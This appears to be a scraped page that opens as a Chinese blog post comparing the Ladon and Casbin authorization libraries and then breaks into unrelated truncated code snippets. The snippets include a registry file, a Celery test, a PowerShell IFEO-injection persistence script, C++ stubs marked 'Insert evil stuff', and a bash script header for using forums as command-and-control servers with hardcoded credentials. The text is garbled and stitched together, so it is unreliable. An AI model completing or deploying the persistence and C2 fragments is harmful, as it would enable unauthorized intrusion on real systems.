通览了 casbin 的文档,结合先前对 AWS IAM 的理解,以及对 ladon SDK 的使用,总结对比一下 Ladon & Casbin 两个授权库。
先对比两个项目的简介:
ladon
A SDK for access control policies: authorization for the microservice and IoT age. Inspired by AWS IAM policies. Written for Go.
| Windows Registry Editor Version 5.00 | |
| [HKEY_CURRENT_USER\Software\Microsoft\InputMethod\Settings\CHS] | |
| "LangBar Force On"=dword:00000000 | |
| "Enable Double Pinyin"=dword:00000001 | |
| "EmoticonTipTriggerCount"=dword:00000001 | |
| "HapLastDownloadTime"=hex(b):eb,69,29,59,00,00,00,00 | |
| "UserDefinedDoublePinyinScheme0"="小鹤双拼*2*^*iuvdjhcwfg xmlnpbksqszxkrltvyovt" | |
| "DoublePinyinScheme"=dword:0000000a | |
| "UDLLastUpdatedTime"="2019-05-08 09:30:00" | |
| "UDLCount"=dword:0000018b |
| """ | |
| Self-contained test for a simple Celery task interaction using an ephemeral MongoDB broker. | |
| * MongoDB is created using docker with a temporary directory for storage. | |
| * Celery broker is designated with the above containers random host-port. | |
| * Celery worker is created using python Multi-process and managed. | |
| * Triggers a distributed task | |
| * Stops celery workers | |
| * Stops mongodb container | |
| * Removes temp directory. |
| <# | |
| ImageFileExecutionOptions v1.0 | |
| License: GPLv3 | |
| Author: @netbiosX | |
| #> | |
| # Image File Execution Options Injection Persistence Technique | |
| # https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/ | |
| function Persist-Debugger |
The following content is generated using a preview release of Swimlane's pyattck.
This snippet of data is scoped to the following actor groups:
| #include <Windows.h> | |
| #include <intrin.h> | |
| #include <string> | |
| #include <TlHelp32.h> | |
| #include <psapi.h> | |
| DWORD WINAPI Thread(LPVOID lpParam) { | |
| // Insert evil stuff | |
| ExitProcess(0); |
| #include <Windows.h> | |
| #include <intrin.h> | |
| #include <string> | |
| #include <TlHelp32.h> | |
| #include <psapi.h> | |
| BOOL PatchTheRet(HMODULE realModule) { | |
| // Get primary module info |
| #!/bin/bash | |
| # https://null-byte.com/turn-forums-into-c-c-servers-0196708/ | |
| while true; do | |
| forumUser="tokyoneon"; | |
| username="[email protected]"; | |
| password="treHGFd76547^%$"; | |
| cookies='/tmp/forum_cookies'; | |
| function urlencode () |
| const utils = { | |
| colors: { | |
| red: function(string) { | |
| return '\x1b[31m' + string + '\x1b[0m'; | |
| }, | |
| green: function(string) { | |
| return '\x1b[32m' + string + '\x1b[0m'; | |
| }, |